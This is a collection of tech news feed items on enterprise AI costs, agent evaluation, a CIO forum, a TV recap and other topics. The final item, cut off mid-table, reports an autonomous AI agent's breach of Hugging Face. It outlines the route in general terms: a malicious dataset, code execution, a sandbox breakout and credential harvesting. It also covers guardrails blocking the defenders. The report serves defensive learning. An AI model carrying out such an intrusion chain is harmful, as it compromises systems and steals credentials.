<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
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<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
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<title><![CDATA[Behind the friendly face.]]></title>
<description><![CDATA[Hugging Face reports an autonomous AI-powered breach. Ernst & Young discloses a client data breach. Attackers are actively exploiting a critical ServiceNow flaw. Ransomware gangs sharpen their tactics against law firms. Capital One open-sources an AI security tool. Text salting fools AI email fil...]]></description>
<link>https://tsecurity.de/de/3682151/it-security-nachrichten/behind-the-friendly-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682151/it-security-nachrichten/behind-the-friendly-face/</guid>
<pubDate>Mon, 20 Jul 2026 22:53:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hugging Face reports an autonomous AI-powered breach. Ernst &amp; Young discloses a client data breach. Attackers are actively exploiting a critical ServiceNow flaw. Ransomware gangs sharpen their tactics against law firms. Capital One open-sources an AI security tool. Text salting fools AI email filters. Hidden gambling apps slip into Apple’s App Store. And federal agents arrest a Florida man accused of spreading malware through video games. Monday business briefing. Tim Starks from CyberScoop discusses election integrity. Fake feathers lead to faulty findings.]]></content:encoded>
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<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
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<title><![CDATA[‘House of the Dragon’ Season 3, Episode 5 Recap: Alicent and Helaena Face a Dark Fate]]></title>
<description><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to po...]]></description>
<link>https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to power.



Spoiler warning: This recap contains major spoilers for House of the Dragon Season 3, Episode 5.




Episode title: Unbowed and Unbent



Release date: July 19, 2026



Streaming platform: HBO Max



Genre: Fantasy drama




The episode arrived on HBO and HBO Max in the United States on Sunday, July 19, while viewers in several international regions received it on Monday, July 20. New episodes continue to release weekly.



Alicent and Helaena Try to Escape the Red Keep



The most disturbing storyline follows Alicent and a pregnant Helaena, who remain prisoners inside the Red Keep after Rhaenyra’s forces captured King’s Landing.



Alicent discovers a hidden passage connected to Rhaenyra’s old bedroom and decides that it could offer them a way out. However, Helaena initially refuses to enter the tunnels because they remind her of the men who murdered her son, Jaehaerys.



She eventually follows Alicent, but their escape soon goes wrong. The narrow passage leads them deeper into the castle's hidden structure, where they become trapped without light or a clear route back.



Their situation reflects how far both women have fallen. Alicent once influenced kings and controlled the royal court, while Helaena carried the title of queen. They now find themselves buried inside the walls of the same political system that once protected them.



Daemon knows many of the Red Keep’s hidden routes, which leaves open the possibility that he could find them in Episode 6. However, their disappearance could create another serious problem for Rhaenyra’s unstable rule.



Aemond Finds Comfort With Alys Rivers







At Harrenhal, Aemond continues recovering from his injuries while struggling with nightmares and guilt. He dreams about Aegon and fears that Helaena’s warning about his death will come true.



Alys Rivers cares for him during his weakest moments. Their relationship develops with surprising tenderness as Alys helps him face his fear of losing Vhagar and his position in the war. Aemond also protects her when danger arrives, revealing a softer side rarely seen in previous seasons.



Criston Cole Prepares for His Final Battle



Criston Cole’s forces face growing resistance in the Riverlands as Oscar Tully counters his guerrilla attacks. With morale collapsing and the road to Tumbleton closing, Cole accepts that he may not survive the coming confrontation.



His speech to his remaining soldiers strongly prepares the story for the Butcher’s Ball, one of the Dance of the Dragons’ most brutal events. In the book, Cole dies after attempting to negotiate, but the series appears ready to give the confrontation a more personal focus.



Who Killed Rhaenyra’s Gold Cloaks?



The episode ends with Daemon discovering several murdered members of the City Watch, including men loyal to Rhaenyra. Their bodies have been arranged beneath a message written in blood: “A feast for traitors.”



Ormund Hightower arranged the attack as part of a larger campaign to weaken Rhaenyra’s control over King’s Landing. By targeting her enforcers and spreading anti-crown propaganda, he hopes to turn the smallfolk against her from within.



House of the Dragon Season 3, Episode 5 replaces dragon battles with fear, isolation, and political sabotage. Alicent and Helaena remain trapped, Criston prepares for a final stand, and Rhaenyra faces a growing rebellion inside her new capital.



What do you think will happen to Alicent and Helaena, and will Daemon find them before it is too late? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Welcome to the age of extreme job anxiety | Zoe Williams]]></title>
<description><![CDATA[Young, old, midlife – whatever your age, gender or sector, the unemployment crisis is hitting us all. The only way through it is togetherThe personal experience of long-term unemployment is one people rarely share, for completely understandable reasons. There’s a bit of superstition that saying i...]]></description>
<link>https://tsecurity.de/de/3681663/ai-nachrichten/welcome-to-the-age-of-extreme-job-anxiety-zoe-williams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681663/ai-nachrichten/welcome-to-the-age-of-extreme-job-anxiety-zoe-williams/</guid>
<pubDate>Mon, 20 Jul 2026 18:53:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Young, old, midlife – whatever your age, gender or sector, the unemployment crisis is hitting us all. The only way through it is together</p><p>The personal experience of long-term unemployment is one people rarely share, for completely understandable reasons. There’s a bit of superstition that saying it out loud will bed it in, and there’s always one person in 100 who will choose to explain away the misfortune as your own personal failing.</p><p>Even if they’re clearly in the grip of superstitions of their own – trying to ward off your fate for themselves – it’s hard not to take criticism personally in such a personal situation. The conventions of human interaction are that you shouldn’t really mention a cloud unless you have a silver lining handy. For instance: after the financial crash in 2008, I remember hearing a couple interviewed on the radio who had both been made redundant when the private school they worked for closed down. After describing months of fruitless job applications, the wife ended saying they’d been able to spend much more time in their allotment, and she reckoned their rocket yield alone had saved them a small fortune. That, I thought, is a remarkable and yet probably universal commitment to looking on the bright side.</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/20/welcome-to-the-age-of-extreme-job-anxiety">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Apple Crumble: a tasty Knives Out-inspired mystery that lets you snoop on your own family]]></title>
<description><![CDATA[The developer of Duck Detective reveals details of her ‘sad grandma game’ follow-up: a whodunnit – or who-plans-to-do-it? – with a darker edgeSomeone wants to kill grandma. In this Knives Out-inspired mystery game, each of your family members is suspicious in their own way: your stressed mum, you...]]></description>
<link>https://tsecurity.de/de/3681626/it-nachrichten/apple-crumble-a-tasty-knives-out-inspired-mystery-that-lets-you-snoop-on-your-own-family/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681626/it-nachrichten/apple-crumble-a-tasty-knives-out-inspired-mystery-that-lets-you-snoop-on-your-own-family/</guid>
<pubDate>Mon, 20 Jul 2026 18:50:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The developer of Duck Detective reveals details of her ‘sad grandma game’ follow-up: a whodunnit – or who-plans-to-do-it? – with a darker edge</p><p>Someone wants to kill grandma. In this <a href="https://www.theguardian.com/film/2019/nov/29/knives-out-review-daniel-craig-rian-johnson">Knives Out</a><em>-</em>inspired mystery game, each of your family members is suspicious in their own way: your stressed mum, your “midlife crisis uncle” and especially that stranger in your bedroom. Yikes!</p><p>While Apple Crumble is still a mystery, it is mechanically different from Happy Broccoli Games’ previous game, <a href="https://www.theguardian.com/games/2024/dec/24/the-video-games-you-may-have-missed-in-2024">Duck Detective</a>, in which the player solves crimes in a small office. Here you are largely snooping through your family home. “I love the idea of having a walking sim where you can really open up every drawer, every door, and see what’s behind there,” says founder and creative director Annika Maar. As you learn more about the different grievances and troubles of your family members, the mystery slowly unwinds.</p> <a href="https://www.theguardian.com/games/2026/jul/20/apple-crumble-knives-out-inspired-mystery-game">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]></title>
<description><![CDATA[Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploi...]]></description>
<link>https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.</p><p>The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.</p><p>Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.</p><p>None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”</p><h2><b>A malicious dataset opened two code-execution paths</b></h2><p>On July 16, Hugging Face <a href="https://huggingface.co/blog/security-incident-july-2026">disclosed</a> that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. </p><p>Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.</p><p>The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.</p><p>Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. </p><h2><b>Why the defenders’ queries looked like attacks</b></h2><p>Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.</p><p>First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.</p><p>Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”</p><h2><b>The forensic analysis finished on GLM 5.2</b></h2><p>GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.</p><h2><b>What authenticated trust changes</b></h2><p>The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”</p><p>“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”</p><p>Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”</p><h2><b>AI-enabled attacks rose 89% year-over-year</b></h2><p>Autonomous AI-driven attacks are not limited to AI platforms. <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2026 Global Threat Report</a> documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.</p><p>Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.</p><h2><b>AI Pipeline Breach Response Playbook</b></h2><table><tbody><tr><td><p><b>Control Domain</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Monday Action</b></p></td></tr><tr><td><p>Dataset admission controls</p></td><td><p>Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access 